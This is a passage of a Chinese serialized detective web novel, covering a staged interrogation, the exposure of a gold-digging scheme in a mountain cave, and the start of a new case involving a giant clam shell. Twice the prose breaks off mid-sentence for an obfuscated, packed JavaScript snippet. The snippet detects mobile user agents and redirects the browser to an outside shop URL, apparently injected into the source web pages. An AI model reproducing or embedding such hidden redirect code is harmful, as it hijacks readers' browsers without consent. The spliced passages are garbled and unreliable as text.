而这头,雾山角也站了起来。 “挑一个吧!想要夹棍还是老虎凳?抑或是三棱刺?” 好嘛,两个阎王! 赵衾颤抖地抱住了脑袋:“我不要!我不要!” “那你还撒谎!” “我真的没有撒谎!”他哭了起来。 雾山角不理他的哀求,取下三棱刺,走到他面前,将三棱刺抵在他的腿上。 “我再给你一次机会,你到底有没有把那两具尸体抛进玉河?” “我没有!” 雾山角将三棱刺往他大腿上压去。 “我真的没有!”赵衾大叫,“小师爷饶命啊!我冤枉啊!” 与此同时,大家都闻到了一股尿骚味。赵衾被吓尿了。 “行了。”这时,悬丝先生再次开口。 雾山角收回了三棱刺,指挥密室外的狱卒将赵衾带走。 赵衾被吓得腿软,几乎是被架走的。 很快,他就被丢到了另一间牢房里。 他一抬头,就见数个之前跟他一起装神弄鬼的同伙,一身馊味地聚在一起,齐齐地看向他。 “你也被吓得尿了裤子?”不知谁没有眼力见地问道。 赵衾愣愣地看着牢房里的同伙,声音沙哑道:“那悬丝先生,到底是真是假?” 13. 第一案:鬼门开13 刑具密室里的悬丝先生当然是假的。 此刻,这位假冒的悬丝先生趁着疑犯交替的空档,摘下了面具,喘了口气。 一张姣好的脸映在密室昏暗的烛光里,乃是万仙无疑。 而他身旁的助手,自然就是王博多了。 来牢房的路上,万仙受祥云堂的启发,想出了这个“号脉测谎”的方法。 “虽然我不会号脉,但或许可以以此诈一诈这群歹徒。” 于是雾山角就安排了这场审讯大戏。 此刻审到一半的万仙喘完气,重新戴上了面具,对雾山角道:“带下一个上来吧。” 于是,密室的门再次被打开,又一位犯人被推搡着进了这密室…… 就这么一个个地审讯过去,时间从傍晚到深夜,又从深夜到白昼。 审讯完最后一位犯人,雾山角和王博多都已经困得发懵,就连万仙也倍感疲惫地依着桌子,撑着脑袋,闭目养神。 此刻,颓然之气萦绕在密室里。 因为他们审讯完所有参与此案的人,依旧没能找到将吴华白和李落地的尸体抛入玉河之人。 “没想到你也有失败的时候。”雾山角疲惫地冷哼道。 “查案就是如此,并不总是一帆风顺。”万仙保持着闭眼的姿势,轻声道,“这是现实又不是话本,怎会神探略施小计,就能逼出真相?” 雾山角有些幸灾乐祸:“没想到你也有为自己硬打圆场的时候。” 已经困得流泪的王博多听雾山角这么一说,不由生气道:“我们号脉测谎都没能让他们当中的谁承认自己抛尸,那就说明,抛尸之人的确不在他们这群人当中,说不定之前的扮鬼之人,并不只是这些人……” “你刚才都看到了,我一个个问过去,大家都坚称他们扮鬼的同伙都在这牢狱中了。没有其他人进入了扮鬼的队伍,又提前落跑。”雾山角虽然打着哈欠,但是脑子还是不停地在转,“就算有这么一个人曾存在过,这么多人,在我们刚才如此有压力的审讯下,竟无一人‘出卖’他,也实在是不太可能。” “难道去铄山抛尸的是李辞天?”王博多提出一个大胆的猜想。 雾山角却很快否定:“我找天地牌匾坊里的工匠问过了,李辞天自从李落地离家后,就一直待在家中,偶有出门,也很快就回来了。他应该从未亲自去过铄山。” “那就是钟万钱,钟万钱自己将吴华白和李落地的尸体转移,抛尸玉河。”王博多累到开始胡诌。 雾山角斜了他一眼,继续否定他道:“就钟万钱有力气抛尸,他也没有理由去做这事。他要杀掉九个人,但是吴华白和李落地是第六个和第七个。他提前把尸体抛入玉河干嘛?等着被人发现,让自己长生不死的计划落空?” 就在雾山角的话音落下时,万仙突然睁开了眼。 “原来如此。”他忽然道。 “啊?什么?”王博多疑惑地问。 雾山角则环抱起双臂,看着万仙。 “这次审讯,虽然没有人招供,但却让我排除了一件事。”万仙说。 “什么事?” “我之前想,或许有人在看到钟万钱杀人挖心后,动了恻隐之心,将吴华白和李落地的尸体从铄山转移,丢入玉河,故意让玉河边的村民发现报官,指使官府前来调查,阻止钟万钱继续杀人……” 雾山角很是诧异:“你居然会觉得这群歹徒还有良心?” “人心复杂多遍。”万仙道,“干了坏事又后悔不已的人,难道还少吗?” 雾山角想了想,的确如此,于是示意万仙继续说。 “但是这次我们号脉测谎,在如此大的压力下,居然无一人承认此事,说明我想错了。”万仙说,“如果真有人是因为动了恻隐之心而抛尸,如今他也已经被逮捕,他完全可以大胆地将此事说出来,说不定还能为自己求一份情,减一点刑。可是没有人说出这点,这说明,那群歹徒里,的确没有自省之人。” “然后呢?”王博多急急地催促道。 万仙一边理着思路,一边缓缓道:“刚才雾山兄已经分析过了,钟万钱和李辞天不会是抛尸之人。而我也倾向于所有参与的歹徒都在牢里。那么就说明,我们刚刚审讯完的这些歹徒里,有个无论如何都要隐藏某个秘密的人。此人能扛得住我们制造的压力,意志强劲,非同寻常。” “他要隐藏什么秘密?”王博多听糊涂了。 “从乱葬坑带走吴华白和李落地的尸体,抛入玉河,就只有一个目的——让人们发现尸体。发现尸体的人肯定会报官,因为这两具尸体都被挖走了心脏,一看就知道是被人杀害的。报官之后,衙门必定会去调查,他们就会发现铄山洞窟里杀人挖心的钟万钱。但我刚刚已经说了,方才的审讯已经排除了有人动了恻隐之心故意为之,那么就说明,是有人为了达到其他的目的,特意要让钟万钱杀人挖心之事曝光。” “什么目的?”王博多努力想跟上万仙的推理,却依旧云里雾里。 但雾山角此刻眼里的困意猛地一消,道:“他是想让我们查封钟万钱的炼丹窟?” 万仙点头。 “他还有别的同伙?” “很有可能。” 两人四目相对,仿佛都能明了彼此在想什么。 王博多看着两人默契地点头,顿时就不乐意了。 “你们在说什么啊?我完全听不懂啊啊啊!!!” 雾山角揉了揉耳朵,说:“我们怀疑,有一伙人想利用钟万钱,事实自己的计划。” “什么计划?” “进山掘金。”万仙道。 “啊?” “只是有这种可能。”万仙见王博多还是一知半解,便掏出自己的扇子,扇了扇风,讲起了自己的推理—— 有一伙求财之人,或是游历到铄山附近,听闻了铄山的传说,或是因为别的什么原因,认为铄山里真有黄金,于是决定进山掘金。他们选定掘金的位置,很可能就是那个如剑冢的洞窟。 然而就算在洞窟里掘金,动静也可能十分之大。白天,他们是万万不敢开工的。因为铄山上会有人经过。那么他们便只能晚上行动。可铄山晚上有一种名叫枯叶蝶的入药之花,只能在夜间采摘,周边的不少采药郎会在深夜滞留山中。若是他们路过洞窟附近,听到动静怎么办?毕竟夜里的动静可能会成倍放大……若他们听到动静,好奇进入洞窟,发现有人在掘金又该怎么办?于是这群求财之人,犯了难。他们不想在逼不得已之前,亲手杀人,又不想拉更多人进来分赃,更怕官府介入抢了他们的金矿,于是他们决定想点办法。 或许他们也想过,根据铄山的传说,搞一个“鬼门开,鬼夜行”,吓住周遭的村民,让他们不敢进山。可他们转念一想,妖魔鬼怪不过是传说,他人即使真的目睹了,也可能不会轻信。不仅如此,还可能引得人们反向思考,意识到有人故意要吓唬他们,不让他们深夜进山。这反而会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037489|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴露他们掘金一事。 于是他们绞尽脑汁,想到了一个迂回的计策。 他们其中一人,假扮算命师,来到凌洛城,寻找有点财力,又将死之人。很快,们就找到了钟万钱。他以铄山的洞窟是炼丹的风水宝地为由,诱导钟万钱,找人在铄山扮鬼,再诱人杀害取其心脏。然后,混在扮鬼之人里的同伙,偷偷将几具挖了心的尸体从乱葬坑中带走,抛入玉河,引起官府的注意。 正式实施这个计划时,他们挑选的尸体是吴华白和李落地。因为他们是凌洛城人,凌洛城的官府会更重视这案子!他们一定会派人寻至玉河,再寻到铄山,将钟万钱杀人炼丹之事揭露。 官府查封完炼丹窟,周遭的村民便无人敢擅自进入其中。而且因为洞窟里真的死了人,无论是采药郎还是其他村民,都会因为“忌讳”而下意识地避开那地方。他们就能将掘金被发现的可能性将至最低,无所顾虑地独吞铄山里的黄金! “你可还记得,我写的《藏乐楼疑案》?”万仙问王博多。 王博多嚷道:“我哪能不记得!”因为这就是由他所遇到的案件改编的。 “吴三泰当初想让藏乐楼身败名裂,于是寻来一人,佯装死尸,藏于清寒夜的床底。第二日,清寒夜床底有死人一事,就闹得满城皆知。在找到那具消失的‘尸体’前,无人敢来藏乐楼入住,入住的客人也纷纷退房离去。因为大家都忌讳死亡。”万仙道,“那群求财之人,用的也是吴三泰的这一招。‘那里死了很多人,还是不要去的为妙’,路过铄山的人,可能会这样想,从而绕着走,自然也就发现不了掘金人的秘密。” 王博多顺势想起他和万仙在玉河边遇到的老妇人。 那日,发现李落地尸体的老妇人特别忌讳地说:“真是造孽啊,我以后怎么在这里洗菜啊!” 玉河的水明明不停往下奔流,却因为李落地的尸体坠于其中,老妇人便觉得自己洗菜的地方也染上了脏东西,变得十分晦气。 有这想法,也是人之常情,但…… “真的会有这样一群掘金求财之人吗?”王博多疑惑。 雾山角把手往腰间的不忍剑上一搭,厉声道:“我们去探一探不就知道了?” “何时去?”王博多问。 “今晚。”雾山角答,“一个地方刚死过人,人们会下意识地觉得那里忌讳,不敢前往。但时间久了,人们的情绪消散,可能就不再对那里感到恐惧。所以若真有那么一群求财之人,他们一定会在近日,尽快在洞窟里凿石掘金!我们也得尽快前往一探!” 万仙“啪”的一声,把扇子一收,夸道:“雾山兄果然聪慧过人。那我们现在赶紧回去歇息,今晚再一起夜探铄山!” 雾山角疲惫地点点头,挥挥手让他们离开。 待万仙和王博多走后,在地牢密室里打盹的雾山角突然又睁开了眼。他后知后觉地想,我怎么又答应他们要一起查案呢?难道是因为万仙夸赞了我几句,我就一时昏了头脑? 算了算了,就再带他们一次吧。 他困得跳上四方桌,身子一卷,睡了过去。 密室外值班的狱卒面面相觑。 “小师爷就这么大大方方地睡在这里了吗?” “我们要趁他睡着,打扫一下地上犯人留下的污秽吗?” “算了吧,万一惊醒他就不好了,反正他们刚才在这一地污秽的密室里聊得挺开心的……” “也是,也是……” 14. 第一案:鬼门开14 又是阴森一夜。 铄山之中,枯叶蝶开得正盛,却无人采摘。夜枭凄凉地啼叫,让这铄山更显寂寥。 雾山角跳入钟万钱当初逃跑的密道,让眼睛适应黑暗后,一路向前摸索而去。 密道另一头的出口已被石板封住,雾山角刚好可以在密道里将其挪开。他伸出粗壮的手指,扣动石板,小心翼翼地往一侧移动。石板不可避免地发出轻微的声响,令雾山角不由停住手上的动作,在黑暗里等待了一会儿。 没有其他动静。应该没被发现。 雾山角再次移动石板,终于将上方的出口打开。 就在出口打开时,他隐隐地听到了在洞窟里盘旋的凿石之声。 果然! 他暗想,将不忍剑抽出,向上一刺。确认无人朝这边发起突袭后,他踩着密道的墙壁,翻身上去,跃进了钟万钱之前炼丹的洞窟之中。 钟万钱炼丹时,这里灯火通明,但是现在,洞窟里漆黑一片。 然而很快,雾山角就循着凿石的声音,发现了洞窟深处的一点光亮。 他顺着光的方向走去,脚步轻盈,无声无息,仿若行走云端。 随着他越靠近,凿石的声音越响,光亮覆盖的范围似乎也越来越大了。 雾山角隐在黑暗里,悄悄向光里望去。 烛火映照下,五个大汉赤裸着臂膀,在用锄头挖掘坑道,用凿子敲打坚硬的山石。他们忘我地做工,沉浸在挖掘黄金的兴奋里,完全没有意识到,他们已经暴露。 忽然,其中一个身材精瘦的男人像是察觉到了有谁在注视着自己,猛地转过头来。 下一秒,他就看到黑暗里飘出一个鬼影。 “啊!”他惊叫一声,脸上长着胡须的痣也不由地抖动了起来。 其他人也停下手中的动作,握着各自的工具,转过头来。 在昏暗的烛光下,他们看到一袭黑衣的雾山角,手持不忍剑,目光冷冽地打量着他们。 “你是谁?!”那长须痣男人惊恐地叫道。 雾山角想,他便是那日摆地摊,骗钟万钱的算命师吧! 于是他极为冷酷道:“你之前混迹凌洛城,不知道我小师爷的名号?” “我凭什么要知道?”男人冷哼道,“我们在山中做事,碍不到你吧?” “你们这是在挖什么?”雾山角明知故问,“黄金吗?” 男人握着锄头的手紧了紧:“那又如何?这里又不是官家的金矿,我们还不能挖吗?” “你们知道,如果你们大张旗鼓来此挖金矿,必定会引来周边百姓前来瓜分。所以,你们设计了一个局,让大家远离这洞窟,方便你们独吞黄金。”雾山角戳穿道,“你们骗人练什么长生不老药,诱其杀人,就是有罪!这里即便有金矿,我也不能让你们这群有罪之人带走!” 听雾山角这么说,站在长须痣男身后的四个男人,纷纷握紧了手头的工具。 “老大!来者不善,何须跟他废话!”有人嚷道。 长须痣男却一脸谄媚地上前,对雾山角笑道:“小师爷,这里面肯定有什么误会。” 雾山角看他笑眯眯的模样,顿觉一阵恶寒。 果不其然,待长须痣男靠近了一些,他的眼神突然一变,阴鸷地盯着雾山角,挥起了手中的锄头。 “杀了他!”他大喊一声,犹如抛出一道指令。他身后的四个大汉,把掘金的工具变成了武器,朝着雾山角冲去。 雾山角一个闪身,如暴雨中的闪电,躲过了锄头的攻击,然后他举起不忍剑,朝挥铁锹之人的手腕,用力一砍,将那人的手活生生地砍了下来。 鲜血和尖叫立即从那人的体内喷涌而出! 见到同伴手被砍断,其他人高声骂娘,就冲雾山角扑来。 然而此时,雾山角身后的黑暗里,奔出几个差役,他们身穿盔甲,手握兵器,就朝着那五个歹徒发起攻势。 那五个歹徒错愕片刻,知道今夜只能殊死一搏,竟发了狠。 他们龇牙咧嘴,眼里焚火,胳膊青筋暴起,奋力地发动一次次地攻击! 一时间,狭窄的坑道响起一阵阵野兽般的嘶吼,夹杂着兵器交战时骇人的声响。 而彼时,这坑道之外的黑暗里还藏着两个人。 王博多悄悄探出头,偷窥这激战的场面。 突然,一个锥子朝他飞了过来。 他身旁的万仙一惊,一直紧握在手里的扇子立即飞了出去,“啪”的一声,重重地打在锥子上,将它打偏。 王博多缩回脑袋,惊魂未定地喘着气,嘴巴只发出一声:“仙儿哥……” 万仙骂道:“你老实躲着!” 王博多不好意思道:“那你的扇子怎么办?” “它若折损了,我再拿你的命赔吧。”万仙皮笑肉不笑道。 若以往,王博多会觉得仙儿哥在开玩笑。但不知为何,那一刻,他竟觉得他说的是真的,不禁愣了愣。 就在他们谈话间,坑道里打斗的声音渐渐弱了下去。 万仙和王博多一同向里瞧去。 他们看到五人之中,断手的那位已经流血而亡。其中三人也被打得皮开肉绽,奄奄一息。而他们的“老大”,长须痣男,此刻也已满脸鲜血地趴倒在地。 他的双手背在身后,被雾山角死死地踩住,几乎要踩断。不忍剑的剑尖悬在他的脖子后方,仿佛随时都可能落下去,一剑穿喉。 王博多见情势大好,赶紧走进去,想捡起万仙的扇子。 谁料万仙比他更快,一眨眼的功夫,地上的扇子就回到了他的手中。 “仙儿哥,你的扇子没事吧?”王博多问。 万仙打开扇子,前后一瞧,扇子上除了沾了一些一吹就飞的灰外,完好无损。 “你的小命保住了。”万仙说。 王博多这次觉得他在开玩笑,于是跟着笑了起来,和他一起走到那长须痣男面前。 “我有个几个问题想问他。”万仙对雾山角说。 “你问吧,刚好我可以喘口气。”雾山角甩了甩脸上的汗,厉声对长须痣男道,“老实回答,不然我现在就杀了你。” 长须痣男趴在地上,努力地仰着头看着眼前这位突然出现的翩翩公子。 这位翩翩公子此刻蹲了下来,问:“你们为何觉得这铄山洞窟里有黄金?” 长须痣男不想答。 雾山角踩着他的脚轻轻用力。 长须痣男“啊啊啊”地叫起来,开口道:“苍蝇不叮无缝蛋。这铄山有厉鬼守金的传说,我们就想,这里或许真有金矿。所以我们这群穷困潦倒的兄弟,就想来此试试……” “万一挖不出黄金怎么办?” “挖不出就换下一个有黄金传说之地,继续挖!” “这么简单?” “就这么简单!”长须痣男冷哼道。 “那你们为何先让钟万钱来此地杀人炼丹?为了让官府查封这洞窟,为了让周围的村民不敢进入此地?” “你都猜到了,还问我干什么!” 雾山角面无表情地一碾脚。 “啊!”长须痣男痛得再次尖叫。 万仙冷冷地看着他,说:“你就不怕钟万钱来此炼丹,修建洞窟,运炼丹炉进来时弄出大动静?” “这其实也是我们的测试之一……”长须痣男说,“我们可以通过炼丹一事,看看周围人的反应,看看他们是否会对一些动静起疑,是否会来冒险一探究竟。我们好估算,真正挖金时,要用上怎样的阵仗。而且我们需要钟万钱帮我们修建炼丹窟,运来炼丹炉……” “因为像炼丹炉这种东西需要不少人力物力才能运走。官府很可能把它留在洞窟里。如果你们挖出的黄金不纯,还可以用炼丹炉炼金?”万仙道。 长须痣男突然笑了一下:“你还挺聪明。” “过奖。”万仙笑眯眯道,“我听说钟万钱病入膏肓,身体虚弱,但是杀人挖心时却力大无比,是否是你使得鬼?” 长须痣男趴在地上喘着气,懒得搭理万仙的问话。 雾山角的脚第二次发力。 “等等……我说,我说。”长须痣男流着冷汗道,“我虽没有长生不老药,但是有能让人回光返照的还魂丸。还魂丹药效虽短暂,但足以让命不久矣的钟万钱欣喜若狂,以为我真有什么天大的本事。于是他就对我言听计从,俯首帖耳。我说要在铄山杀人炼丹,他便在铄山杀人炼丹。我说要他亲自挖取贪婪之人的心脏炼丹,他便亲自动手杀人。我越是让他做一些莫名其妙、不安常理之事,他越是相信我的方法靠谱管用。但那些,不过是我胡诌的,哈哈哈……” 万仙沉下脸来,道:“钟万钱身价不菲,且对你俯首帖耳,你为何不从他手里套走钱财离开,而是费尽心思来此挖金矿?从他手里骗点钱,总比这可能失败的掘金计划要靠谱得多吧?” “呵,你以为他有很多钱?你以为你们凌洛城里的医师都有仁心道德?呵,一个个也是贪婪之人罢了!在遇到我这个骗子前,钟万钱早就被骗走了不少钱财!”长须痣男吐了一口血水,冷冷道。 万仙又道:“你有这等魄力,又能这么聪慧地使用迂回的诡计,随便去做点生意,何至于穷困潦倒到像无头苍蝇一样,满世界找金矿?” 闻言,长须痣男脸上瞬间闪过一丝羞愧。 踩着他的雾山角冷笑道:“我看,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037490|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该也是一群赌徒。” 王博多立即道:“你们该不会也在钟万钱的不见天赌坊里,输了个倾家荡产吧?” 长须痣男被戳中痛处,脸色再一变,索性不再隐瞒。 他说,他名叫刘秋塘,原本有点小家业,结果却在不见天里迷上了赌博。在那里,他分不清日夜,只知道一次次地下注。等他回过神来,他的钱财早已输尽,欠了一屁股债被伙计赶了出来。 家财散尽,他甚至想过寻死。但他又是贪生怕死之人,只得另谋他路。 为了躲避债主,刘秋塘决定离开凌洛城。结果在路过玉河附近时,他听闻了铄山的传说。他身体里的赌徒之魂,因为这个传说,又燃了起来。 刘秋塘决定再赌一把,赌传说里“山中有金”是真的! 于是他叫来了几个在赌坊相识,同样输得倾家荡产的旧友,开始计划进铄山掘金。 但掘金可不是件容易的事。他们需要洞窟落脚,需要炼金炉炼金,以防挖出的金子不纯。同时,他们还要防止周围的村民察觉到此事,来抢夺他们的功劳…… 他们本就身无分文,哪有办法做成这些? 一筹莫展之际,刘秋塘招来的一位兄弟,听说不见天老板钟万钱病入膏肓,正在寻医求药。 于是刘秋塘灵机一动,想了一个法子。 他假扮算命先生,在钟万钱失魂落魄离开医馆时,叫住了他。 彼时,刘秋塘为了躲避债主,已习惯乔装自己,甚至还长期给自己贴了一颗长须痣来掩人耳目。钟万钱自然认不出他是在不见天内输得倾家荡产的赌徒。 听说刘秋塘有长生不老的方法,钟万钱犹如抓住了最后一根救命稻草,连连追问要怎么办? 于是刘秋塘就告诉他,他需要取九颗人心练出九命还魂丹。 他还告诉钟万钱,练丹必须要找个风水宝地才行。 钟万钱渴求地问:“比如?” 刘秋塘胡乱地掐指一算,然后指向凌洛城外,坚定地说:“比如铄山。” 于是钟万钱偷偷寻来了一群人,进入铄山,修建洞窟,并将炼丹炉运入。 与此同时,刘秋塘告诉他,炼九命还魂丹,必须要用贪婪之人的心脏才有效果。 钟万钱问:“这是为何?” 刘秋塘一副高深莫测的表情,道:“方子就是如此,你认真做便是。” 他越是以这种“不容分说”的姿态去命令钟万钱,钟万钱越是对他马首是瞻。 当然,钟万钱不是没想过,随便掠杀九个赌坊的赌徒,挖心炼丹。 刘秋塘却明里暗里提醒他,若是凌洛城内一下子失踪那么多人,怕是还未等他炼完丹,官府就找上门了。 钟万钱问:“那我该去哪里寻九个贪婪之人?” 这时,刘秋塘只需稍稍透露铄山厉鬼的传说,钟万钱便知道该怎么做了…… “你做事真是谨慎。”听完刘秋塘的讲述,万仙冷言道,“你之所以让钟万钱在铄山引诱贪婪之人,是为了利用钟万钱,铲除一些愿意为金子冒险的胆大之人。这样,你就可以确保更少的人会对你们后续掘金造成威胁。然后你再让安插在钟万钱队伍里的兄弟,把被害者的尸体偷偷丢进玉河,让周围的村民发现报官,致使官府的人查封此地。人们知道这里发生了命案,就会觉得这里阴森晦气,不敢也不愿靠近。你们就能大肆地在此掘金……这一套复杂的计划,环环相扣,实在聪明……” 这时,一旁的雾山角眼里射出寒光,对脚下的刘秋塘道:“你若是把这聪明用在正道上,何至于现在这个下场!” 刘秋塘扯了扯嘴角,说:“我没什么别的话好说。这一次,我不过是又赌输罢了。但至少你们帮我完成了一个心愿……哈哈哈……” 他大笑起来,一口鲜血喷在了万仙的鞋子上。 万仙低头一瞧,就见刘秋塘歪着头,倏然闭上了眼睛。 “老大!”剩下的三人悲痛地大喊,但刘秋塘已经没了气息。 王博多皱起了眉头:“仙儿哥,他最后一句话是什么意思?” “大概是他利用我们,完成了对钟万钱的复仇吧。”万仙说,“他虽知道赌到倾家荡产是自己的错,却也怨恨钟万钱设下了不见天这个赌坊,害他沉浸在一夜暴富的美梦里,最终却落入万劫不复中。于是他也给了钟万钱‘黄粱一梦’,让他以为自己可以靠炼丹起死回生,活下来。结果就在他误以为自己要成功时,我们的出现,扼杀了他的美梦,让他在生命的最后锐挫望绝。刘秋塘利用我们,完成了他的复仇……” “原来如此……” 万仙、王博多和雾山角看着地上已经死去的刘秋塘,深深地叹了口气。 15. 第一案:鬼门开15(案终) 那晚,刘秋塘掘金队伍剩下的三人束手就擒,被带回凌洛城的牢狱里关押。 见到兄弟们入了牢,经历过“号脉测谎”的赵衾在心中大喊不妙。他知道自己即使出去,也拿不到他们答应给他的黄金,又怕兄弟们为了减轻刑罚出卖他,于是主动自首,承认他同他们是一伙的,希望小师爷大人有大量,原谅他曾撒了谎。 雾山角却冷冷道:“赵衾,你能抗住‘悬丝先生’的审讯,我算你有本事。但我之前已经讲过,撒谎绝不轻饶。我希望你也能有本事,抗住这撒谎的后果。” 说罢,他赏了赵衾夹刑。在赵衾的尖叫声中,他离开了监牢。 几日后,藏乐楼来了稀客。 雾山角在花姐的带领下,敲开了清寒夜的房门。 彼时王博多正在给万仙研墨,企图怂恿他以这“鬼门开,鬼夜行”一案为原型,书写新的话本。 见到雾山角登门,王博多很是意外。 “你怎么来了?”他挡在门口,对陪在雾山角身边的花姐灿烂一笑,“花儿姐,你今天真美!” “就你嘴甜。”花姐手绢一挥,笑道,“我还有事,你们跟小师爷慢慢聊哈。” 说完,她转身就走,不想跟官府的人有更多的交集。 留下的雾山角则瞟了一眼屋内的万仙道:“我有事找万仙。” “仙儿哥今日要写铄山一案的话本,闲人勿扰!”王博多心想,那可是我以后倒腾的买卖,你可别来坏事。 怎料,雾山角就是来坏事的! “万仙兄,这话本不能写!”他趁王博多不注意,蹿进屋内。 “为何不能写?你说不能写就不能写?!”王博多梗着脖子,追着雾山角道,“你这是干扰文人自由创作,抹杀传世经典,文化瑰宝……” “得了得了,莫要捧杀我!”万仙把看到一半的书搁在桌子上,抬眼看雾山角,故意道,“雾山兄,这话本为何不能写?你若是怕我话本里的主角抢了你的风头,我可以以你这英姿飒爽的形象和你这别具一格的姓名,再创个黑衣武探的角色。” 雾山角却认真道:“我是怕你这话本,又掀起腥风血雨。” 原来,掘金队伍被擒后,衙门的差役里曾有人提议,继续挖金。 万一真能挖出黄金呢? 雾山角却严厉道:“这里若是真有黄金,早就被挖走了,还会轮到我们?你们谁要是敢擅自挖山,我定让他人头落地!” 他阻止了差役们追根究底,下令他们莫要将发生在坑道里的事与他人提及,并让人偷偷填了坑道,毁了洞窟。 因为他怕人们的贪欲会再次被这里的谜团勾起,一发不可收拾。 万仙听完,歪了歪头道:“你真不好奇,这铄山挖下去是否真有黄金?” “我当然好奇。”雾山角道,“但这世上的贪欲已经烈焰滔天,我们就别再火上浇油了。” 万仙笑笑,点了点头。 他要是真的想写这个故事,早就挑灯夜战了。他之所以被王博多催着写书,却迟迟不动笔,就是因为那晚下山时,他看着鞋上沾染的鲜血,做出了一个决定。 这次的案子,他不写成话本了。 他怕自己的故事,引来更多人对铄山虎视眈眈,又闹出一条条人命来。 至于那铄山是否真的有黄金…… 可能从始至终,那里都没有黄金,厉鬼守金不过是老一辈胡诌的传说。 也可能,那里真的有过黄金,但是已经被人挖走 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王博多大咧咧地对着雾山角道:“我和仙儿哥心地善良,为了百姓安居乐业,这次话本不写就不写了吧。但下次遇上有意思的案子,你可得记得带上我们,给我们仙儿哥找找灵感。” 听他这么一说,万仙喝茶的喉咙一紧,猛地呛出了声。 这王博多还真当起了自己的经纪?不仅要帮他倒腾话本的说书权,还在给他争取“采风”的机会? 万仙笑了笑。 而这头,雾山角浑不在意道:“你们若真有本事,跟上便是!” 说罢,他迈开步子,大步流星地跨出门去。 那姿态,器宇轩昂,好生帅气。王博多后来偷偷学了八百遍。 16. 第二案:蚌中仙01 玉河奔流不息,分支众多,其中一条分支流入凌洛城的南处,汇成了一大片湖泊。因为湖中有多个独立的小岛,如碎星坠入水中,于是人们称此地为碎星湖。 彼时,碎星湖上,一艘小船驶近了其中一个长满芦苇的小岛。 没过一会儿,从船上跳下一位身着黑衣,五官硬朗,身姿挺拔如松的男子。 此人乃是凌洛城衙门的小师爷,雾山角。 他踏上小岛,随即抽出腰间的不忍剑,挑开了挡在面前茂密的芦苇,向岛中心走去。 同船来的差役们紧随其后。他们因闻到一股恶臭,纷纷遮住了口鼻。 领头的雾山角却只皱了皱眉头,就率先走出了高高的芦苇丛,来到了岛的中心。 小岛中心的芦苇已经被人踩平,铺在了地上,形成一块圆形的空地。外围高而密的芦苇将这块空地围住,令人无法从岛外窥探其中一二。但若从天上俯瞰,就会发现这芦苇岛宛若一个巨大的鸟巢。 此刻,“鸟巢”中,一具仰躺着的尸体死不瞑目地瞪着双眼,仿佛要把天空看穿。 他正是恶臭的来源! 今日,有人划船路过这座小岛附近,闻到了奇怪的腐臭味,心生恐惧,报了官。 雾山角前来查看,果然在此发现了尸体。 这具尸体刚开始腐烂,还能看清样貌,但跟来的差役各个作呕,不敢上前。 “都给我离远点吐!别毁了命案现场!”雾山角大声呵斥,独自凑近。 他发现死者的致命伤在喉咙处。那里有一个孔洞,因为血液凝固,那孔洞黑漆漆的,但仍能判断出是锐器的刺伤。 不仅如此,当雾山角把目光往下移,他还发现尸体身上,清晰地分布着五个类似的血洞。 有人用尖锐的凶器,刺了死者整整六次! 雾山角盯着尸身上的伤口,神情冷酷地站起来。他按耐住也想吐的冲动,撇过头去喘气。 接着,他的目光便落到了尸体旁,那谁也忽视不了的东西上。 那东西实在是大得不合常理。要不是那具尸体,任谁都会先把注意力放在它身上。 因为那是一只巨大的……蚌? 长约五尺的蚌壳合拢着,如一副棺材,横躺在芦苇丛中。 “里面不会也有尸体吧?”有差役不安地猜测道。 话音刚落,雾山角手中的不忍剑便寒光一闪,刺进了蚌壳中。 雾山角手一运力,不忍剑就将蚌壳撬了开来。 蚌壳中空无一物,唯有一股醉人的香气飘出,又很快被死者的尸臭盖过。 众人见里头没有尸体,都松了一口气。 过了一会儿,才有人小声嘀咕:“这么大的蚌壳……之前里面该不会住了个蚌仙吧?” 其他人跟着猜测:“难道这死者是被蚌中仙给杀死的?” 差役们议论纷纷,雾山角的目光却变得愈发冷冽了起来…… 【第二案:蚌中仙】 翌日,凌洛城,藏乐楼。 一身少年气的王博多脚步轻盈地从门内跳出,站在门口四下打量,急急地招来一辆马车。 跟在他身后的万仙却不疾不徐地扇着那把从不离身的白面折扇,神态自若地跨过门槛,踏至马车前。一身素色青衣也难掩他的翩翩风度。 迈上马车时,他余光一瞥,在一片逆光的朦胧里轻轻勾起嘴角,随后闪身进入车内。 车夫正要扬鞭驾车,就听车内传来一声“且慢”。 声音来自万仙。 王博多困惑地转头看他,只见他打开了马车的侧窗,对着外面喊道:“雾山兄,你再不现身,我们可就要走了。” “小师爷?”王博多惊讶,“仙儿哥,你怎么还邀了他?” “我可没有邀他。”万仙道,“是他不请自来,在门口守候多时,又不好意思上前同我们开口。” “啊?”王博多听糊涂了,“这大头干嘛来找我们?” 万仙笑而不语,在车内稳如泰山地坐着。 果不其然,片刻后,一抹黑影快速地跳上了马车,闪身进了车内。 “你还真是不客气呢!”王博多瞪了雾山角一眼,嚷道,“你一来,这车挤死了,这马儿也要累死了。” 雾山角没理会他的揶揄,只是道:“你们是要去龚家查案?” 万仙示意车夫驾车,然后对雾山角点点头,道:“听说龚繁麟的尸身,还是雾山兄在碎星湖上发现的。” 